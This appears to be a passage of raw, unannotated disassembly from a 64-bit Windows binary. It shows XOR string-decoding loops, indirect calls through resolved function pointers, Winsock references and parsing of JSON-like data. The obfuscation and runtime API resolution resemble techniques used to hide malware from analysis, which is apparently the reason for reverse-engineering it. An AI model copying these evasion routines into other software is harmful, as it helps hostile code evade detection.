jmp 0x14002584f
mov rax, qword [r8 + 8]
mov rcx, qword [rax]
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x1d0], r8
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp + 0x1d8], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rbp + 0x1f8], rdi
mov qword [rbp + 0x200], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x220], rdi
mov r8d, 1
lea rdx, [0x140980e08]
lea rcx, [rbp + 0x208]
call fcn.140011c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], rdi
mov qword [rbp + 0x240], rdi
xor r8d, r8d
lea rdx, [0x1401bf892]
lea rcx, [rbp + 0x228]
call fcn.140011c50
nop
mov rdx, qword [rbp + 0x250]
mov rsi, qword [rbp + 0x1d0]
cmp rdx, rsi
jne 0x140029430
mov r14, qword [rbp + 0x1f0]
mov r15, qword [rbp + 0x1e0]
mov r12, qword [rbp + 0x1d8]
movzx ecx, byte [rdx]
sub ecx, 1
je 0x140025925
cmp ecx, 1
je 0x14002591c
cmp qword [rbp + 0x270], r14
jmp 0x14002592c
cmp qword [rbp + 0x260], r15
jmp 0x14002592c
cmp qword [rbp + 0x258], r12
setne al
test al, al
je 0x140026168
lea rcx, [rbp + 0x250]
call fcn.14003c340
mov rbx, rax
lea rcx, [rbp + 0x250]
call fcn.1400357f0
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14002595f
mov rcx, qword [rbx]
call fcn.140022f00
test rax, rax
je 0x1400259f9
lea rcx, [rsp + 0x48]
mov qword [rbp + 0xb8], rcx
mov byte [rsp + 0x48], 6
mov qword [rsp + 0x50], rax
movzx eax, byte [rbp + 0x180]
test al, al
jne 0x1400259ad
mov byte [rbp + 0x180], 1
call fcn.14003d870
mov rcx, rax
mov qword [rbp + 0x188], rax
movzx eax, byte [rbp + 0x180]
jmp 0x1400259b4
mov rcx, qword [rbp + 0x188]
cmp al, 1
jne 0x1400294fd
mov rdx, rbx
call fcn.1400385d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x48]
mov byte [rax], cl
mov byte [rsp + 0x48], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x50]
mov qword [rax + 8], rdx
mov qword [rsp + 0x50], rcx
movzx edx, byte [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140038180
jmp 0x1400260e0
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x1409822e0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1409822f0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140982300]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140982310]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140982320]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140982330]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140982338]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140025be3
cmp r13d, 2
jl 0x140025b9b
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140025be3
lea r9, [rbp + 0x90]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140025bb0
cmp byte [rbp + 0x14b], 0
je 0x140025d83
mov r8d, edi
cmp r13d, 2
jl 0x140025d3d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140025c30
cmp r8d, 0x5c
jge 0x140025d83
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140025d50
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x140025f43
mov r8d, edi
cmp r13d, 2
jl 0x140025efd
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140025df0
cmp r8d, 0x5c
jge 0x140025f43
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140025f10
cmp byte [rbp + 0x97], 0
jne 0x1400260a3
cmp r13d, 2
jl 0x140026066
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x1400260a3
lea r9, [rbp + 0x90]
mov r8d, edi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140026070
call fcn.140039b70
mov rbx, rax
movzx ecx, word [0x14098200c]
mov word [rbp + 0x88], cx
cmp byte [0x14098200d], 0
je 0x1400260d0
mov byte [rbp + 0x88], Ordinal_50
xor byte [rbp + 0x89], 0x38
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
mov rdx, qword [rbp + 0x250]
movzx ecx, byte [rdx]
sub ecx, 1
je 0x140026107
cmp ecx, 1
je 0x1400260fd
inc qword [rbp + 0x270]
jmp 0x140026153
add qword [rbp + 0x260], 0x10
jmp 0x140026153
mov rcx, qword [rbp + 0x258]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
je 0x140026137
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], 0
jne 0x14002614c
cmp rcx, qword [rax + 0x10]
jne 0x14002614c
mov rcx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140026122
jmp 0x14002614c
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x14002614c
mov rax, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x140026140
mov qword [rbp + 0x258], rax
inc qword [rbp + 0x278]
cmp rdx, rsi
jne 0x140029430
jmp 0x140025906
lea rcx, [rbp + 0x228]
call fcn.140010b40
lea rcx, [rbp + 0x208]
call fcn.140010b40
nop
lea rcx, [rbp + 0x2a8]
call fcn.140010b40
lea rcx, [rbp + 0x288]
call fcn.140010b40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rax
lea r8, [rbp + 0x1c0]
movdqu xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movdqu xmmword [rbp - 0x60], xmm0
movabs r15, 0x8000000000000000
mov qword [rbp - 0x58], r15
movzx ecx, byte [r8]
mov edx, ecx
sub edx, 1
je 0x140026238
cmp edx, 1
je 0x14002622b
test ecx, ecx
je 0x140026221
sub ecx, 1
je 0x140026238
cmp ecx, 1
je 0x14002622b
mov qword [rbp - 0x58], rdi
jmp 0x140026246
mov qword [rbp - 0x58], 1
jmp 0x140026246
mov rax, qword [r8 + 8]
mov rcx, qword [rax]
mov qword [rbp - 0x68], rcx
jmp 0x140026246
mov rax, qword [r8 + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov qword [rbp - 0x70], rax
mov qword [rbp + 0x1d0], r8
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp + 0x1d8], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rbp + 0x1f8], rdi
mov qword [rbp + 0x200], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x220], rdi
mov r8d, 1
lea rdx, [0x140980e08]
lea rcx, [rbp + 0x208]
call fcn.140011c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], rdi
mov qword [rbp + 0x240], rdi
xor r8d, r8d
lea rdx, [0x1401bf892]
lea rcx, [rbp + 0x228]
call fcn.140011c50
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], rax
lea r8, [rbp + 0x1c0]
movdqu xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movdqu xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x58], r15
movzx ecx, byte [r8]
mov edx, ecx
sub edx, 1
je 0x14002635d
cmp edx, 1
je 0x14002634f
sub ecx, 1
je 0x14002635d
cmp ecx, 1
je 0x14002634f
mov qword [rbp - 0x58], 1
jmp 0x140026368
mov rax, qword [r8 + 8]
mov rcx, qword [rax + 8]
mov qword [rbp - 0x68], rcx
jmp 0x140026368
mov rax, qword [r8 + 8]
mov rcx, qword [rax]
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x250], r8
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp + 0x258], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rbp + 0x268], xmm1
mov qword [rbp + 0x278], rdi
mov qword [rbp + 0x280], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x288], xmm0
mov qword [rbp + 0x298], rdi
mov qword [rbp + 0x2a0], rdi
mov r8d, 1
lea rdx, [0x140980e08]
lea rcx, [rbp + 0x288]
call fcn.140011c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
mov qword [rbp + 0x2b8], rdi
mov qword [rbp + 0x2c0], rdi
xor r8d, r8d
lea rdx, [0x1401bf892]
lea rcx, [rbp + 0x2a8]
call fcn.140011c50
nop
mov rdx, qword [rbp + 0x1d0]
mov rsi, qword [rbp + 0x250]
cmp rdx, rsi
jne 0x14002946c
nop word [rax + rax]
movzx ecx, byte [rdx]
sub ecx, 1
je 0x14002643d
cmp ecx, 1
je 0x14002642d
mov rax, qword [rbp + 0x270]
cmp qword [rbp + 0x1f0], rax
jmp 0x14002644b
mov rax, qword [rbp + 0x260]
cmp qword [rbp + 0x1e0], rax
jmp 0x14002644b
mov rax, qword [rbp + 0x258]
cmp qword [rbp + 0x1d8], rax
setne al
test al, al
je 0x140026b18
lea rcx, [rbp + 0x1d0]
call fcn.14003c340
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x1d0]
call fcn.1400357f0
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0x500], 5
mov qword [rbp + 0x508], rdi
lea rdx, [rbp + 0x500]
mov rcx, rax
call fcn.14003f730
movzx ebx, al
movzx edx, byte [rbp + 0x500]
lea rcx, [rbp + 0x508]
call fcn.140038180
test bl, bl
jne 0x140026a89
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
mov rax, rdi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xd8], rax
xor eax, eax
movdqu xmmword [rbp + 0x2d8], xmm0
movdqu xmmword [rbp + 0x2e0], xmm1
mov qword [rbp + 0x2f0], rax
mov r14, r15
mov r8, qword [rbp + 0xb8]
movzx ecx, byte [r8]
mov edx, ecx
sub edx, 1
je 0x14002653e
cmp edx, 1
je 0x14002652e
test ecx, ecx
je 0x14002651f
sub ecx, 1
je 0x14002653e
cmp ecx, 1
je 0x14002652e
mov r14, rdi
mov rbx, qword [rbp + 0x2d8]
jmp 0x140026548
mov r14d, 1
mov rbx, qword [rbp + 0x2d8]
jmp 0x140026548
mov rsi, qword [r8 + 8]
mov rsi, qword [rsi]
mov rbx, qword [rbp + 0x2d8]
jmp 0x14002654f
mov rax, qword [r8 + 8]
mov rbx, qword [rax]
mov rbx, qword [rbx]
mov rsi, qword [rbp + 0x2e0]
xor eax, eax
movdqu xmmword [rbp + 0x98], xmm0
movdqu xmmword [rbp + 0xa0], xmm1
mov qword [rbp + 0xb0], rax
mov r13, r15
movzx ecx, byte [r8]
mov edx, ecx
sub edx, 1
je 0x1400265a3
cmp edx, 1
je 0x140026592
sub ecx, 1
je 0x1400265a3
cmp ecx, 1
je 0x140026592
lea r13d, [rax + 1]
mov r12, qword [rbp + 0x98]
jmp 0x1400265ab
mov r15, qword [r8 + 8]
mov r15, qword [r15 + 8]
mov r12, qword [rbp + 0x98]
jmp 0x1400265b2
mov r12, qword [r8 + 8]
mov r12, qword [r12]
mov r15, qword [rbp + 0xa0]
movzx ecx, byte [r8]
mov edx, ecx
sub edx, 1
je 0x1400265cc
cmp edx, 1
je 0x1400265c7
cmp r14, r13
jmp 0x1400265cf
cmp rsi, r15
jmp 0x1400265cf
cmp rbx, r12
setne al
test al, al
je 0x1400268f3
test ecx, ecx
je 0x1400295dd
sub ecx, 1
je 0x1400265ff
cmp ecx, 1
je 0x1400265fa
test r14, r14
jne 0x140029552
mov rdx, r8
jmp 0x140026603
mov rdx, rsi
jmp 0x140026603
lea rdx, [rbx + 0x40]
lea rcx, [rbp + 0x150]
call fcn.140035f50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a0], 0
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
mov dword [rbp + 0xc0], eax
cmp byte [rbp + 0x150], 3
jne 0x140029588
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x1a0]
call fcn.140036e70
lea rdi, [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x1b8]
cmp r8, 0xf
cmova rdi, rdx
lea rax, [rbp + 0x1a0]
cmp r8, 0xf
cmova rax, rdx
mov rcx, qword [rbp + 0x1b0]
add rax, rcx
cmp rdi, rax
je 0x1400266c5
movsx ecx, byte [rdi]
call fcn.14016f4e0
mov r8, qword [rbp + 0x1b8]
mov rdx, qword [rbp + 0x1a0]
test eax, eax
je 0x1400266be
inc rdi
jmp 0x140026681
mov rcx, qword [rbp + 0x1b0]
test rcx, rcx
je 0x1400267a3
lea rax, [rbp + 0x1a0]
cmp r8, 0xf
cmova rax, rdx
add rax, rcx
cmp rdi, rax
jne 0x1400267a3
lea rcx, [rbp + 0x1a0]
cmp r8, 0xf
cmova rcx, rdx
call fcn.1401753dc
mov dword [rbp + 0x90], eax
mov rax, qword [rsp + 0x30]
mov rdi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140026715
mov rdi, qword [rax]
call fcn.14003a4a0
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rdi
call rax
mov rdi, rax
call fcn.14003a7b0
movsxd rdx, dword [rbp + 0x90]
mov rcx, rdi
call rax
sub rax, rdi
mov qword [rbp + 0x90], rax
call fcn.14003aac0
mov rcx, rdi
call rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x90], rax
mov rdi, qword [rbp + 0xd0]
cmp rdi, qword [rsp + 0x48]
je 0x14002677c
mov qword [rdi], rax
add rdi, 8
mov qword [rbp + 0xd0], rdi
jmp 0x140026851
lea r8, [rbp + 0x90]
mov rdx, rdi
lea rcx, [rbp + 0xc8]
call fcn.140017460
mov rdi, qword [rbp + 0xd8]
mov qword [rsp + 0x48], rdi
jmp 0x140026851
lea rax, [rbp + 0x1a0]
cmp r8, 0xf
cmova rax, rdx
mov qword [rbp + 0x90], rax
mov rax, qword [rsp + 0x30]
mov rdi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400267cb
mov rdi, qword [rax]
call fcn.14003a4a0
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rdi
call rax
mov rdi, rax
call fcn.14003a7b0
mov rdx, qword [rbp + 0x90]
mov rcx, rdi
call rax
sub rax, rdi
mov qword [rbp + 0x90], rax
call fcn.14003aac0
mov rcx, rdi
call rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x90], rax
mov rdi, qword [rbp + 0xd0]
cmp rdi, qword [rsp + 0x48]
je 0x14002682f
mov qword [rdi], rax
add rdi, 8
mov qword [rbp + 0xd0], rdi
jmp 0x140026851
lea r8, [rbp + 0x90]
mov rdx, rdi
lea rcx, [rbp + 0xc8]
call fcn.140017460
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x48], rax
and dword [rsp + 0x40], 0xfffffffe
lea rcx, [rbp + 0x1a0]
call fcn.140010b40
nop
movzx edx, byte [rbp + 0x150]
lea rcx, [rbp + 0x158]
call fcn.140038180
mov r8, qword [rbp + 0xb8]
movzx ecx, byte [r8]
sub ecx, 1
je 0x1400268a0
cmp ecx, 1
je 0x140026895
inc r14
xor edi, edi
jmp 0x1400265b2
add rsi, 0x10
xor edi, edi
jmp 0x1400265b2
mov rax, rbx
mov rcx, qword [rbx + 0x10]
cmp byte [rcx + 0x19], 0
je 0x1400268d1
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
jne 0x1400268ec
cmp rax, qword [rbx + 0x10]
jne 0x1400268ec
mov rax, rbx
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
je 0x1400268b7
xor edi, edi
jmp 0x1400265b2
mov rbx, rcx
mov rax, qword [rcx]
cmp byte [rax + 0x19], 0
jne 0x1400268ec
nop dword [rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1400268e0
xor edi, edi
jmp 0x1400265b2
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0xb8], rax
xor eax, eax
mov qword [rbp + 0x4e8], rax
mov byte [rbp + 0x4e0], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
lea ecx, [rax + 0x18]
call fcn.14015a210
mov rsi, rax
lea rax, [rbp + 0x88]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rsi
mov qword [rsi], rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
mov rbx, qword [rbp + 0xd0]
mov rdx, rbx
mov r14, qword [rbp + 0xc8]
sub rdx, r14
sar rdx, 3
test rdx, rdx
je 0x1400269a4
mov rcx, rsi
call fcn.140046490
mov rcx, qword [rsi]
mov rdx, r14
cmp r14, rbx
je 0x1400269a0
nop word [rax + rax]
mov byte [rcx], 0
xor eax, eax
mov qword [rcx + 8], rax
mov rax, qword [rdx]
mov byte [rcx], 6
mov qword [rcx + 8], rax
add rcx, 0x10
add rdx, 8
cmp rdx, rbx
jne 0x140026980
mov qword [rsi + 8], rcx
mov qword [rbp + 0x98], rdi
mov qword [rbp + 0x4e8], rsi
movzx eax, byte [rbp + 0x190]
test al, al
jne 0x1400269dc
mov byte [rbp + 0x190], 1
call fcn.14003d870
mov rcx, rax
mov qword [rbp + 0x198], rax
movzx eax, byte [rbp + 0x190]
jmp 0x1400269e3
mov rcx, qword [rbp + 0x198]
cmp al, 1
jne 0x140029619
mov rdx, qword [rsp + 0x30]
call fcn.1400385d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x4e0]
mov byte [rax], cl
mov byte [rbp + 0x4e0], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x4e8]
mov qword [rax + 8], rdx
mov qword [rbp + 0x4e8], rcx
movzx edx, byte [rbp + 0x4e0]
lea rcx, [rbp + 0x4e8]
call fcn.140038180
nop
test r14, r14
je 0x140026a78
mov rax, qword [rsp + 0x48]
sub rax, r14
sar rax, 3
lea rdx, [rax*8]
mov rax, r14
cmp rdx, 0x1000
jb 0x140026a70
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029613
mov rcx, r14
call fcn.14015a48c
movabs r15, 0x8000000000000000
mov rsi, qword [rbp + 0x250]
mov rdx, qword [rbp + 0x1d0]
movzx ecx, byte [rdx]
sub ecx, 1
je 0x140026ab0
cmp ecx, 1
je 0x140026aa6
inc qword [rbp + 0x1f0]
jmp 0x140026b03
add qword [rbp + 0x1e0], 0x10
jmp 0x140026b03
mov rcx, qword [rbp + 0x1d8]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
je 0x140026ae5
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], 0
jne 0x140026afc
nop dword [rax + rax]
cmp rcx, qword [rax + 0x10]
jne 0x140026afc
mov rcx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140026ad0
jmp 0x140026afc
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x140026afc
nop
mov rax, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x140026af0
mov qword [rbp + 0x1d8], rax
inc qword [rbp + 0x1f8]
cmp rdx, rsi
jne 0x14002946c
jmp 0x140026410
lea rcx, [rbp + 0x2a8]
call fcn.140010b40
lea rcx, [rbp + 0x288]
call fcn.140010b40
nop
lea rcx, [rbp + 0x228]
call fcn.140010b40
lea rcx, [rbp + 0x208]
call fcn.140010b40
lea rcx, [rbp + 0x1c0]
call fcn.140035b60
lea rax, [rbp + 0x150]
mov qword [rbp + 0xb8], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x150]
call fcn.140035f50
mov rbx, rax
lea r9, [rbp + 0x515]
